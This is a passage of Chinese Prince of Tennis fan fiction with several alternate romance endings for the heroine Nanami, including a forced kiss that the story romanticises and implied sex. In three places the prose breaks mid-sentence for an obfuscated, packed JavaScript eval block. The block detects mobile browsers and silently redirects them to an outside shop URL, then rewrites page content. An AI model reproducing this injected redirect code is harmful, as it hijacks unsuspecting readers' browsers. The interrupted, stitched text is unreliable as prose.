“二阶堂,别给老子装傻。” “什么装傻,我是真的不懂!” 他俯下身,捏住她的下巴,漆黑的瞳孔中射出锐利的光芒:“舍命救我,又让我眼睁睁看着你死在怀里,又一次次赶老子走,嗯?” “我们之间的因果,因为你变得纠缠不清,你不知道吗?” 七海霎时间方寸大乱。他,那些梦里的故事,他都看到了?甚至还包括她死掉的那个梦...... 那个梦,其实很长。 在梦中,她搬到了一处除了教练组和他以外无人知晓的公寓里。 无数次,她看到他一个人坐在客厅的餐桌旁,垂着头,紧咬着牙关,面色沉痛。她看到他将那些写着身体各项指标都正常的体检报告撕碎,丢进垃圾桶里,接着像是泄愤般踩了一脚。 让他一个人承受她慢慢走向死亡的过程,她心中有愧。可他却固执得要命,嘴上说着“别等尸体烂了都没人发现”这样不留情面的话,每天都来公寓一趟,风雨无阻。 后来她再次偷偷搬家,再后来,她死在了他的怀里,死在了镰仓的海边。 她惊惶心酸的表情明明白白地告诉他,她果然也同样记得那些事。平等院凤凰冷笑一声,凑到她耳旁一字一句道: “老子刚才还没说身之恶业,你知道是什么吗?” 七海试图拨开他紧捏着不放的手,焦急道:“我不知道,我要出去了。”她脑中预知危险的雷达在哔哔作响,每一处肌肉都异常紧绷。 “是杀生,偷盗,和......”他挑了挑眉。 “色欲。” “平等院你要干嘛?”他该不会真的要......他疯了吗?哦,他好像确实一直都挺疯的。不是,二阶堂七海,都这种时候了,你怎么还有闲心吐槽啊! 七海的脸色精彩纷呈,飞速结束不合时宜的吐槽后,她试图脱出他的精神世界,却发现自己的脚踝和手腕早就被“业力”缠绕而上,挣脱不得。 肾上腺素疯狂飙升,她的呼吸越发急促起来,下巴仍被他捏着,她被迫仰头望着他,眼眶逐渐泛红。 “平等院,我救了你,既然你说你欠我,你就不能那样对我。” “哪样?” “你不要明知故问,你——!”话说到一半被迫噤声。 少年的吻凶猛且霸道,她的手脚都被束缚住,只得被动地承受他过分狂暴的吻法。 “呜呜呜,平等院凤凰你这个混蛋,居然敢强吻我。”待他松开嘴,七海的委屈彻底爆发。“早知道,我就不该特 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13861106|132092||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地跑来千叶找你,太过分了,呜呜......” 泪珠顺着脸颊一滴接一滴地滑落,七海胡乱地用手抹去,抽泣不止。 平等院凤凰现在非常以及十分的不爽。 姑且不论他拿了大满贯后有多少女粉丝喜欢他涅槃重生的王者霸气,天天在社媒上留言,期待他复出。以前去世界各地踢馆的时候,所到之处追他的女人也是一抓一大把。 “二阶堂,偏偏老子亲你你就要哭?喜欢老子的人遍布全世界,你居然哭?!”他低头盯着她,咬牙切齿道。那三个人亲她,她也会这样哭? 平等院越想越气。 “追老子的女人,身材你比好,长得比你漂亮的多得是,你居然哭?!” “那你去和她们接吻啊!”七海噙着泪冲着他吼了回去,“用精神力控制住我算什么男人!呜呜呜......” “啧......别哭了。” “再哭老子再亲你一次。” 这句话效果显著,七海立刻止住了哭泣。 “你,你送我出去。” 话音刚落,缠绕着她的黑气散开,她心意一动,再次睁开眼时已回到了寺院的和室中。 盘膝而坐的平等院凤凰也在同一时间睁开双眼,一阵沉默后,他不耐烦地开口: “既然知道了老子的近况,你可以走了。” 七海却在这时下定了决心。他欠她,她也欠他,她害得他变成现在这样,她不能就这样一走了之。 她暗自咽了口口水,清清嗓子,站在他面前,语气坚定地回道: “平等院,我要对你负责。” 几秒后,平等院凤凰从惊愕转为仰天大笑,笑够了,他站起身直接将她按在墙上,锐利的目光沉沉压下。 “二阶堂,被老子亲一下就哭的人说要对老子负责?” “我留在这里,等帮你找到了解决阿赖耶识的副作用的方法,再离开。” “呵,随便你。” ----------------------------- 两个月后。 “师父,他怎么会变成这样?”七海焦急地跪坐在平等院身边,榻榻米上盘坐冥想的人似乎陷入了某种糟糕的状态,所有毛孔都在往外渗血。 站在一旁的小老头捋了捋胡须,意味深长道:“平等院,他选择了阿赖耶识,毁灭或许是他终将面对的结局啊。” 这些日子,在六角中的教练老爹马谷户的指导下,七海一直尝试引导他回道阿修罗神道的正途上,却频频失败。 七海猛地倒吸一口凉气,这话的意思是......他会死吗?强烈的恐慌和焦虑刹那间在心头蔓延开来。 “师父,您不是三船教练的师父吗?您一定有办法的吧?” “七海,你的精神力有疗愈能力,你是知道的吧?”大海,既蕴含着毁天灭地的力量,又是孕育万物之源。 “师父,您就有话直说吧!”七海实在受不了这老头子在这样的危急关头还老神在在、不慌不乱的模样了。 马谷户微微一笑:“是有办法救他,不过需要你......” 七海浑身一震,红晕迅速爬上脸颊。“......必须那样吗?” “这样是最好的办法。七海,你没有立刻拒绝我,看来你对平等院也不是完全没有感情。” 七海无言以对。 这两个月,他们朝夕相处,她见识到了他赛场之下意外地十分柔和的一面。或许也不是意外,毕竟,自从她得知他曾舍身救下Duke的妹妹,她就知道了,平等院凤凰这个笨蛋,其实是个好人。 他们也曾一同坐在深夜的寺庙屋顶,喝着寺院里不该出现的烈酒,他分享给她过去那些年他和Duke去世界各地踢馆的见闻,他听她讲述自己上辈子泛善可陈的人生。 她轻叹了口气。 罢了罢了,她拒绝了他那么多次,就勉强给他个面子,再次救他一命好了。 “我知道了,师父。” ...... 晨曦将曙光洒进庭院,微风轻拂,吹动着垂下的树枝,发出轻柔的沙沙声。 和室内,七海斜坐在蒲团上,疼得直抽气,坐在她面前的少年正拿着一罐药膏,用指腹沾取膏体往她腰上的一处淤青上抹。 “平等院,你轻一点!”她微哑着声怒斥道。 平等院凤凰上药的动作轻缓了些许,嘴角的那点笑意却完全没有遮掩的意思。“二阶堂,最后不还是成了老子的女人?” 七海愤愤然:“你这个混蛋,早知道我就不......我就不救你了!死了算了!” 她身上的青紫瘀痕都是被他抓按的,虽然能理解那样的状态下他没法控制力道,可是她真的很痛......那里也很痛......七海开始装哭。 “是老子错了,别哭了。”平等院无奈地叹了口气。 “一点都不知道怜香惜玉,还是在寺院这种清净之地,平等院凤凰你简直无法无天你......” 他轻笑了两声,将罐子盖上,又用方巾擦拭干净手上残余的药膏。“不是你主动的,嗯?你也知道这里是寺院?” “还读什么般若心经,读这么久,也没变得清心寡欲......”七海嘟哝个没完,平等院额角终于暴起一根青筋。 他干脆承认了:“二阶堂,你说得对。老子就是欲念熏心,现在就证明给你看。” 下一瞬,她被他一手抱起,径直往卧室走去。 七海大惊失色,忙认怂。“平等院,我错了我错了,你放开我......” “迟了,蠢货。” 他的唇角微微扬起:“这次老子会温柔一点。” 沉香萦绕,春风一渡。 If线-平等院凤凰线-The end. 187.第 187 章 明知得不到,却无法不执着的事物,谁都有这样的存在。 --------------------------- 走在前往河村寿司店的路上,七海的内心是崩溃的——为什么她一觉醒来会回到国二啊! 分明她已经成为网球界的神女了,拿了两轮女单大满贯,正处在功成名就的事业高峰期。 刚在慕尼黑买了一栋漂亮的小洋房,搬进新家和德国队的少年们办了个暖房派对,再一觉醒来,她回到了青春台那间破旧的小公寓。 “七海,想什么呢?”大石秀一郎见她魂不守舍的模样关心道。 “啊,啊。没事,就是走神了一下。”七海捋了捋鬓角的发丝,勉强笑了一下。 “不愧是手冢啊,国二就当上学生会会长了。” “嗯,国光很有领导力嘛。”她记得很清楚,他是被他人主动推选成为学生会会长的。 没错,今天是周六,是手冢国光成功当选学生会会长的庆祝日,七海和大石秀一郎先行前往河村寿司店布置庆祝的横幅,而手冢、不二、乾等人会稍后抵达。 “河村,我们来啦。”推开寿司店大门,七海和大石异口同声道。 河村隆和河村爸爸站在板前,手里捏着一贯金枪鱼寿司,听到门口传来的熟悉人生,抬起头。“二阶堂,大石,你们先来了呐。” “嗯,我们带了横幅,待会就挂起来。”七海笑答,抬起手晃了晃手里的袋子。那里面装着几天前大家一起为手冢国光定制的小横幅,上面刻着“恭喜当选”几个大字。 “那我也来帮忙吧。”河村隆擦净手脱下员工外套,一起帮着布置。 黄昏缓缓沉落地平线,寿司店内也逐渐热闹起来,七海帮着摆上碟子和筷子,心思却飞远了。 现在,只能走一步看一步了。运气好的话,说不定第二天一觉醒来她又能回到慕尼黑的松软大床上,运气不好,她也只得先留在那间破公寓里,毕竟这时的她兜里空空。 不过,今晚......记忆的洪流猛地涌入,夹杂着丝丝酸涩。 十年前的这一天,她历历在目,记忆犹新。她记得她装醉被他送回家,路上她又一次告白,又一次失败,乳白色的月光下,两道影子被越拉越长,就像后来的他们,各自前行,最终成为两条永远不会交汇的平行线。 这一次,她不会再告白了。如果是上天再一次给她重活的机会,她不想再让他为难,也不想再让自己难堪。更何况...... 这么多年过去,她已经不爱他了。 “七海,我们来了。” 门口传来温和的呼唤声,七海抬起头,原本平静的双眼顿时一亮,嘴角无法抑制地上扬。 “周助,你们总算到啦!” 不二周助一身米白色的衬衫,眉眼弯弯,手里提着一大袋似乎是饮料的东西,站在他身侧的手冢国光穿着那件熟悉的淡紫色短袖衬衫,手里同样拎着一袋不明物品,面色平静。 青春台的夕阳从背后打过来,金色光线顺着他们的发丝流淌,温暖而动人。 不二微微一笑,“嗯,辛苦你们提早过来了呐,我和手冢去便利店买了一些饮料和甜品,大家一起分享。” “好,快点坐下来吧。”大石秀一郎招呼着,一桌子同为国二的青学人终于凑齐了。 饮料从塑料袋中取出,众人们自行挑选着爱喝的果汁,七海拿出一瓶苹果汁,为自己倒了一杯,又为身边的不二倒了一杯,便将瓶子盖上,放回矮桌边,不再有其他动作。 “七海,谢谢。” “嘿嘿,周助和我客气什么。” 手冢国光观察到这一幕却愣了一下,随即拿起寿司店提供的大麦茶浅啜了一口。 见众人都倒好了饮料,乾贞治扶了扶眼镜,举起他那杯由数种饮料调和而成的不明液体,一句话便结束了他十分简短的开场致辞: “总之,恭喜手冢成功当选学生会会长,大家一起干杯吧。” 手冢国光却于此刻突然插了一句话进来。“今天的庆祝会,还有一件事也值得庆祝。” 大石好奇:“手冢,是什么事?” 他平静道:“七海,她也成功当选了女子网球部的部长。” 七海将视线移向那张难得有几分柔和的面孔,双唇微张,愣神了数秒。 十年前这周的水曜日,她确实成功当选了青学女子网球部的部长。只是,后来她是和青学女网部的少女们一起庆祝的,她的记忆中,今天的庆祝会他并没有说过这句话。 是她记错了?不,不可能。不过,这点小不同也没什么好惊讶的,或许世界上真的存在平行时空,她并没有回到过去而是去了其他地方,又或者,这样的变化是她带来的蝴蝶效应,不重要了。 收拢心神,她赶忙回应了身边一堆人真诚的祝福声。 菊丸英二竖起手指俏皮道:“这就是所谓的双喜临门吧!” 大石点点头:“英二说的没错。那么,为了庆祝手冢成功当选学生会会长,七海成功当选网球部部长,大家一起干杯!” “干杯!——” 大家喝着闹着,展望着国三的日子,饮料瓶的水位线渐渐下移,桌上的寿司一贯贯飞速消失,不知不觉间被一扫而空,坐姿也变得各有各的闲适懒散。 门帘外,黄昏彻底落幕,街道两旁的路灯渐次亮起,寿司店内暖黄的灯光下,宴席将散。 帮着河村隆收拾桌上碗筷的间歇,不二拿起陶杯,突然出声了。 “手冢,今天发生什么事了吗?” 手冢国光手上的动作顿了顿,“没什么。” “是吗。”不二张开冰蓝的眸子,面上若有所思。“总感觉今天的你有些不同呢。” 不等手冢回复,不二周助又跟了一句。“今天的七海,也有些不同。” 他坐在一旁,看得一清二楚。 七海不再像往常那样,满心满眼都是他,甚至可以说,刻意在避开和手冢的交流和接触,即使她表面还是那副笑意嫣然的模样。 与之截然相反的是,手冢却视线一刻也离不开她,看向她时,眼底闪过的情绪纷杂得连他也没能分清,都有些什么。 “......”手冢沉默着,直到听到那句“今天的七海也有些不同”身躯僵硬了几秒。 “国光,周助,你们在干嘛呢?杯子我拿走了哦。”七海回到桌边,见两人的动作不知怎么地都停下了,便兀自接过两人手中的陶杯,快步走到板前交给河村爸爸,又借着板前的水龙头洗了个手。 河村隆不好意思地挠了挠头:“二阶堂,麻烦你和大家了。” “河村,不用这么客气啦。那么,”七海回头看向同样收拾得差不多的几人,“我就先走啦。” 手冢走下桌子,直起身:“七海,我送你。” “不用啦,我自己走就可以了。”七海微笑着向着店内的少年们挥挥手,弯下腰穿上鞋子的功夫,身后再次传来了他执着的声音。 “你住的地方不安全,我送你。” “......好。” 手冢撩起寿司店的门帘,两人一同走出寿司店,徒留店里的几人面面相觑。 乾贞治不知从哪里掏出来了个小本子,正在奋笔疾书。 “乾,你在写什么呢?”菊丸好奇地凑过去。 乾贞治开启了话匣子开始疯狂碎碎念:“数据有误,数据出现了重大变化!” “什么变化?” “呵呵呵呵,难道你们都没有发现吗。二阶堂和手冢的身份对调了呢。”乾自信一笑,笔记本往前翻了一页,娓娓道出一长串数据: “今天,二阶堂五次敷衍或回避了和手冢相关的话题,手冢盯着二阶堂的时间长达一小时零五分钟,手冢为掩饰情绪喝了十次茶,扶了三次眼镜。” “诶!居然是这样吗!”大石秀一郎震惊不已。 不二缓缓点了点头,“啊,我也看出来了。” “可是,为什么会这样呢?” 这个问题的答案,除了此时正并肩步行在静谧街头的两人,无人能解。 沿街的昏黄路灯打在两人身上,拉出长长的两道影子,一如那一天。七海低垂着头,一步步专注地踩着自己的影子,默然无语。 手冢扶了扶眼镜,终于还是打破了沉默。“七海,你住的公寓不安全,应该换个地方。” 七海抬起头看向身侧人,眨了眨眼。“唔,但是我现在只租得起那里的公寓。” “而且其实也还好啦,也没遇到什么危险。”这次她知道了未来会发生的事,不会再以身犯险让自己受伤了。 “不行。”手冢肃声驳回了她的话,语气意外地坚决。 七海止住了脚步。 “那我去哪里住呢? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13901605|132092||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 国光,你不能只提出要求不给解决方案吧。”这些年在国际网坛闯荡,她见多了人心险恶,习惯了和一些所谓的上流人士打交道,面对不合理要求,语气不自觉变得冷硬。 下一秒,意识到自己语气太过了,七海轻叹了口气,打算道歉—— “七海,去我家住吧。” ......?! “诶?!这样不合适吧?”她瞪大了眼。心底,关于某个猜测的异动像是墙壁上的裂纹般,逐渐向外蔓延。 “没有关系,我的家人不会介意的。” 七海无奈地叉腰,仰头:“国光就算你的家人不介意,我就这样莫名其妙地住到你家去也不合适吧。” 手冢再次坚定地反驳了她的话:“不是莫名其妙。” 七海简直要被他气笑了,总是这样,过去自认为没法给她她想要的恋爱体验就拒绝她三年,后来后悔了又执着得要死。就这样住到他家,以什么身份,同学?彩菜阿姨会信才稀奇。 看来之前的猜测是她的错觉,重来一次的只有她罢了。 “七海。” “我喜欢你。” “我不想再失去你了。” 不想再看到她满身是伤的模样,不想再听到她说她是为了他人来德国找他,不想再看到她在比赛结束后担忧他人,不想再看到她满脸泪痕地醉倒在他人怀中。 他有太多太多的“不想再”。 他要回应她的感情,他要在所有人面前牵起她的手,他会收下她给他做的情人节巧克力,他会陪她去做她想做的事,一年后的比赛,他会靠现有的技术在不受伤的情况下打赢那两个人,不再让她担忧落泪。 他有太多太多的“他要”。 今早从床上醒来,发现自己回到了国二,他心中乍然升腾起的第一个念头,不是可惜过去几年他得到的数个大满贯,不是烦恼此刻的手肘伤尚未愈合,不是借助已掌握的网球技术重新规划起自己的网球之路,而是...... 他和她,他们,还可以重新再来。 月色下,微风吹拂着道旁的树叶沙沙作响,突如其来的告白在她的耳畔轰然炸响。 七海叉着腰的手缓缓垂下,望着身前的人,眼中写满了难以置信,却无任何类似欣喜感动的情绪。 手冢国光说完这三句话,目睹着她脸上表情的变化,心中越发笃定。 “七海,既然我们都回来了,我想请你给我一个机会,我们重新开始。” 她想她早已不喜欢他了,那些年对他的情早就风化成了一座沙堡,被时间的罡风一层层吹散,再寻不回。 可奇怪的是,听到这句话,听到“重新开始”四个字,不知从何而起的泪水仍然固执地涌出,顺着脸颊落下,连成一线。 “或许人是回来了吧,可是我早就不是当年的我了。国光,你有想过吗?”七海凄凉地勾起一个微笑,哽咽着。 “我们已经没有办法重新开始了啊。” 过去的数年岁月,就像一块夹层玻璃中落下的灰,回头看得见,触不到,却抹不去。坚韧地存在着,模糊了一切。 他于下一刻将她紧紧拥入怀中。 “七海,我们可以重新开始。” “只要你愿意,我们可以重新开始。”手冢国光重复着这句话,手一下下轻抚过她的发丝,像是在安慰她,更像是在安抚自己心底骤然升起的不安。 他再次笨拙地开口,分明经过了这些年的历练,他也能圆滑处事,可是这时的他和14岁时的他好像又没什么区别。 “七海,就算你不愿意和我在一起,我也想陪你。” “我陪你去做你想做的事,我不会再硬抗着手伤比赛,我留在日本做你的选手。” 惊骇和心酸一阵接一阵涌来,如滔天巨浪将她拍倒,他的话听起来毫无底线,根本不是曾经固守着自己的秩序的他应有的样子。一些不该存在的情绪顺着他的话逐渐发酵,像用指腹写在玻璃窗上的字,对着它轻轻一哈气全部显露了出来—— 她还爱他。 “七海,对不起。”他俯下身轻吻过她眼角落下的泪,她没有拒绝。 “再给我一次机会。” “是那种甜甜的恋爱吗?”她抽噎着,抬起头小声问道。 手冢轻轻勾起唇角,“是。” . 冢海线-双重生if线-The end. 188.第 188 章 某天,你无端想起一个人,她曾让你对未来有所期许,但她却完全没有出现在你的未来里。 --------------------------- “葵,最近这段时间辛苦你了哦。”七海合上笔记本电脑,对着放在书桌一边的手机感激道。 手机里传来了女子平稳的声音,“没有问题。” 挂断电话,锁屏上清晰地显示着今天的时间—— 2008年6月27日。 距离温网比赛还有两天。 七海侧头望着窗外,伦敦的蓝调傍晚被星星点点的灯光点缀着,迷人而静谧。 “已经五年了吗......”她轻叹一声,将印着丽兹酒店logo的睡袍褪下,打开衣柜,随意地挑了条吊带长裙换上,走出酒店。 沿着圣詹姆斯街一路向泰晤士河的方向走去,伦敦裹挟着雾气的夜风吹拂过她的长裙与长发,勾起了一些她尘封许久的潮湿回忆。 关于她自己,关于某个人。 这是国三毕业后,五年来她第一次回到伦敦。 过去的五年发生了许许多多的事,譬如她成为了职业教练,譬如她所相熟的看好的那几个少年都相继签约成为了职业选手,譬如她的NA俱乐部走上了正轨,在自己的影响力以及三船入道的牵线帮助下,成功拉到了多方投资。 而相对的,迹部财团在投融资中的占比则逐渐减少,到最后,两边堪堪维持着一丝联系,大多数时候是由木下葵和秘书山下负责联络各项事宜。 她与他的联系就此断了,但关于他的消息日日挂在社交媒体的头版上,她却无法忽视。 他在哈罗公学毕业后便转入职业,仅花了两年时间就在18岁时夺得了温网的大满贯,接着是19岁时的第二冠,今年如果能够再夺一冠,就是温网三连大满贯了。 他创立了自己的网球品牌,迹部财团也成为了温网的赞助商之一,零零总总的消息合在一起说明了一个事实——他过得很好,他做到了家庭网球兼得。 再返回到她自身,五年的事业与成就给她带来了可观的名声与金钱,曾经她不敢奢望的豪华酒店,如今也敢咬咬牙自掏腰包入住了。 只不过她仍旧觉得住几千镑一晚的酒店没什么必要,这次选择入住也不过是突发奇想的一次体验罢了。 而这次来伦敦,理所当然的是因为她麾下的职业选手终于攒够积分,获得了温网的正赛资格。 这一片英伦的雾都旧土,她再不想踏入也只得踏入。 六月的伦敦,夜色早早就垂了下来。空气中漂浮着淡淡的水汽,将街头暖黄色的灯光渲染得柔和。细密的小雨自夜空中落下,在她的眼前铺就成一层薄雾。 她并没有带伞,半小时后,她再次走到了泰晤士河畔。 铁桥上昏黄的路灯将光芒投射在河面,影影绰绰地勾勒出河水的流向。大本钟一如五年前那般散发着黯淡的黄光,两岸的灯火在雨丝中变得朦胧,仿佛置身于一幅印象派的油画。 站在威斯敏斯特桥的栏杆边,她无言地眺望着不远处运转着的伦敦眼。 她避无可避地回忆起五年前的那个圣诞节, 回忆起五年前的那场伦敦初雪, 回忆起五年前伦敦眼上的,那一个吻。 ---------------------------- 尽管在伦敦有自己的别墅住,这次温网比赛前夕,迹部景吾破天荒地选择了伦敦市政厅边的万豪酒店入住。 或许是因为这些年忙着扩展他的商业版图,忙着训练打比赛,他已经许久没有好好看看、感受伦敦这片故土。而这家酒店套房的窗景能够将伦敦眼大本钟和泰晤士河一口气收入眼中。 双手插兜站在落地窗前,窗外是被雾气和雨水渲染得一片灰蒙的蓝调夜景,他并不厌恶伦敦随时随刻弥漫起的雾气,此时心头却莫名涌起一股烦闷。 迹部景吾皱起眉,下一秒,随着“叮”的一声,窗边办公桌上的手机锁屏界面骤然亮起,一张倘若被媒体拍到必定会引起风波的照片映入眼帘—— 那是一张少女的侧颜像。 露肩的白色毛衣之上,黑发柔顺地垂在胸前,她的双手扒着透明车厢的栏杆,望着窗外,深紫色的瞳孔中倒映出绚烂的彩色光点,唇角勾起一抹柔和的弧度。 而上方的短讯消息栏弹出的消息是这么写的—— 【最新采访披露:作为天才职业教练,七海首次带领麾下职业选手参加温网赛事......】 迹部景吾拿起手机扫了一眼屏幕,便随意放回桌上,再次将视线移回窗外时,注意到了威斯敏斯特桥上的一个小人。 窗外的雨势渐大,桥上都是撑着伞行路匆匆的身影,只有那一个人,既没有打伞,似乎也没有离去的打算。 不知缘何,他观察起了那个小人。 黑色长发,多半是亚洲人,来了伦敦出门却不带伞,多半是个笨蛋,大概率是第一次来伦敦的游客。 她的身边不断有撑着伞的行人路过,直到几道身影停在她的身边,他猜测多半是伦敦街头那群不着调的青少年在搭讪。 她转过头去,接着,掏出了手机在和那几个人合照?......那几人似乎没有就此离去的打算,开始动手动脚。 他的眉头蹙得更紧了。 ------------------------- 七海的内心是无奈的。 她只是想淋淋雨,吹吹风,多逗留一会儿,哪能想到就碰上了英伦版的街溜子,还认出了她的身份。 她本以为合过照就够了,却没想到他们还不依不饶地“邀请”她去喝酒,几番客气推脱都被他们无视过去,心中的怒气也在累积。 喝个屁啦!谁知道是喝酒还是叶子,再说,她对这群乳臭未干的青少年一点兴趣也没有,说不定是什么对亚洲女性有癖好的变态。 早知道就不该因为那些回忆站在这里触景伤情。 “神降。”她轻声念道,原本攥着她手臂的金发少年面色陷入怔忡,很快松开了手,边上几人也愣在了原地。 神降的精神控制时间不过几秒,七海再不犹豫,转身拔腿就向桥的另一端跑去。 她猝不及防地撞上一堵坚实的胸膛。 她抬头:“抱歉,我——” 两道视线在夜雨中狠狠相撞,剩下的话刹在半路,她瞪大了双眼。 怎么会,是他呢? 迹部景吾倒是很快反应过来。“二阶堂,怎么回事?” “我被几个teen缠上了,非要拉我去喝酒,现在正打算跑路。”自知不是叙旧闲聊的好时机,七海三言两语便语速极快地说清了情况。 迹部抬头望了一眼她身后向这边走来的数人,果断做出了不与他们硬扛的决定。“跟本大爷走。” 他牵起她的手,他们在雨中一路狂奔。 ...... “迹部,谢谢。” 七海边从浴室走出来,边紧了紧浴袍的腰带。二十分钟前,他们一路狂奔回他的酒店,路上本就不小的雨逐渐下大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14019780|132092||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,等到他们抵达时,两人全身湿透,堪称狼狈。 他让她去他的房间洗个澡,先换下湿透的裙子以防感冒,她想了想,便也不矫情地顺从了。 迹部景吾听到她的称呼,眸色暗了暗。 “......不用和本大爷客气。” 七海清浅一笑,忙不迭道:“你也是,快去洗澡吧。” 眼前的人上身已彻底湿透,变得半透明的白衬衫粘附在他的身上,勾勒出上身十分明显的肌肉轮廓。 湿润的紫灰色发丝凌乱地垂落在额头,滴落的水珠顺着英挺的鼻梁和棱角分明的下颌线滑落,配合眼角那一颗泪痣,透出一股说不出的性感。 她想她必须得承认,媒体说他是男人中的男人,确实是有几分道理的,不如说,从来没有人能否认他的魅力,无论是人格还是皮囊。 “啊恩。”迹部点点头,刚准备进浴室,像是想起什么又转头道: “别趁本大爷洗澡偷溜走,我有话要和你说。” 七海眼中闪过一丝讶异,对着他轻点了点头,心下却有几分无奈。她现在没有烘干的衣服穿,总不能穿着别家酒店的睡袍跑回自己的酒店吧,根本没必要担心她偷溜走才是。 站在落地窗前,窗外是瓢泼大雨,耳畔隐隐传来浴室里花洒的水声,她轻轻抬起手,指尖划过落地窗上凝结的水汽,在玻璃上留下一道清晰的痕迹。 回过神来时,玻璃上已被划画出了NA两个字母,她愣了愣,随即挥动掌心将那抹痕迹擦去。 水声并着雨声交织一室,不经意间带动着她的思绪也随之起伏。 有话要说,会是什么事?多半是关于几天后的温网比赛吧。 “叮。” 思索着,放在沙发上的手机屏幕亮起,七海扭头随意地瞟了一眼,然后再也挪不开视线。 他的手机锁屏,居然是她。 -------------------- 水声间歇,接着是风筒的呼声,少顷,他从浴室中走出来,浴袍松垮而随意地系着,慷慨大方地露出胸前一片轮廓分明的肌肉。 他走到她的面前,身上仍蒸腾着带着淡淡玫瑰花香的水汽。 七海抬起头,神态自若:“迹部,有什么事吗?” “称呼改回去。” 她的回答很干脆。“我们现在不熟。” 迹部景吾双手抱臂轻笑一声,强势的气场于无形中将她包围。“呵,穿着浴袍站在本大爷房间里的人也有资格说这样的话吗,啊恩?” “迹部,你或许还想念着我。”她平静道,眼中没有泛起一丝波澜。 “可是我已经不会再想你了,真的很抱歉。” 顺着她不带感情的这句话,他垂下双手,向她逼近了一步,又一步,直到她被逼退到窗前,后背紧贴着落地窗,她低垂下双眸不再看他,他的胸口越发滞闷。 一道自嘲般的轻嗤声响起,他伸手轻捏住她的下巴抬起,迫使四目交汇,继续紧逼不舍地追问: “那你站在桥上看什么呢,啊恩?是在看我们接过吻的伦敦眼,还是看我们一起住过的酒店,走过的街?” “NA俱乐部,N是你的姓,A是本大爷的姓,你敢说你在提起这个名字的时候没有一次想起过我吗?” “温网现在是本大爷打下的天下,你带着自己的选手来这里比赛,你敢说你没想到过我?” 他的音调一次比一次高,一句接一句裹挟着浓重的不甘。 “二阶堂,你敢发誓这五年从没有想过我吗,啊恩?” 189.第 189 章 七海面无表情地望着他,听着他的一声声质问,心被搅成了一团乱麻,面上却不曾表现出来分毫。 承认吧,又如何呢? “是,我是想过你。所以呢?” 他以为她要嘴硬地自欺欺人几句,却没想到她如此平静地正面回应了,迹部景吾含在嘴边的话卡壳了几秒。 他紧盯着面前的人,“既然这样,为什么这几年都刻意避开我?” 窗外响起一道惊雷,轰鸣声连同他的质问害得她的心猛地一震,一点点揪痛起来。 东京他的那间公寓她早就不再留宿,钥匙也寄还给了他;俱乐部的事宜她尽量避免本人出面,不与他在商业事务上碰面;过去这几年,她都优先带着选手参加其他国家的ATP巡回赛,而非英国。 既然无法在一起,不如从一开始就不要有接触,否则只是徒增心痛。她确实在刻意避开和他的接触,她不该天真到以为他没有察觉。 良久,她只对着他憋出了一句话。 “我们不能在一起。” 松开托起她下巴的手,迹部转而双手叉腰背过身狠狠吸了口气,再次转回身时总算收敛了情绪。 “为什么。” 为什么?好问题。 曾经针对这个问题的答案是,她还有许多更重要的事要做所以无暇考虑感情,亦或是选择一个人不如辜负三个人,现在,这些理由似乎都消失了。可是那又如何呢?他们早已错过于人海中。 她无意识地咬着下唇,眼神飘忽不定。“我们不合适。” 迹部紧紧皱起眉头,显然对她的回答感到不满。 “啊恩,哪里不合适?”像是想起什么,他又傲然地点了点眼下的泪痣,“依本大爷看,哪里都合适。网球技术,美貌,名气,会多国语言,二阶堂,你和我的共同点多得很。” 本来是沉闷的重逢之时,七海却被他话里太过理所当然的自恋逗得不觉失笑。这个人,过了这么多年倒是没怎么变。 迹部捕捉到她面上一闪而过的笑意,放缓了语速。 “就该是这样,二阶堂,多笑笑。” 收敛笑容,七海不自然地撇了撇嘴,“你怎么知道我没有多笑。” “本大爷当然知道。”他挑了挑眉,“每次媒体采访你,你都板着张脸,难道不是?” “媒体采访我的时候多了去了,你怎么知道我都板着张脸?”虽然她确实板着张脸,为了增添自己的攻击性。 一个年轻的亚洲女性成为职业教练,这一路她面对的障碍与挫折,比起网球本身更多的是来自于他人的刻板印象和偏见,不如说99%的困苦追本溯源都因她的肤色和性别,网球恐怕只占据了1%。 她不得不板着张脸。 “这几年你的采访我都在看。”或者说,不止是看。 面前的人用随意的口吻如数家珍般说起过去几年她所经历的事,好的坏的,顶峰与低谷,支持与背叛。 七海呆呆地望着听着,一些无法言明的情绪随着他的话似暗流涌起,一波接一波地冲击着她的心底那道即将溃败的防线。 她过得并不容易,原来他都知道。 烈火烹油花团锦簇下的心力交瘁,原来他都知道。 那她呢? 她当然也知道他的艰辛。 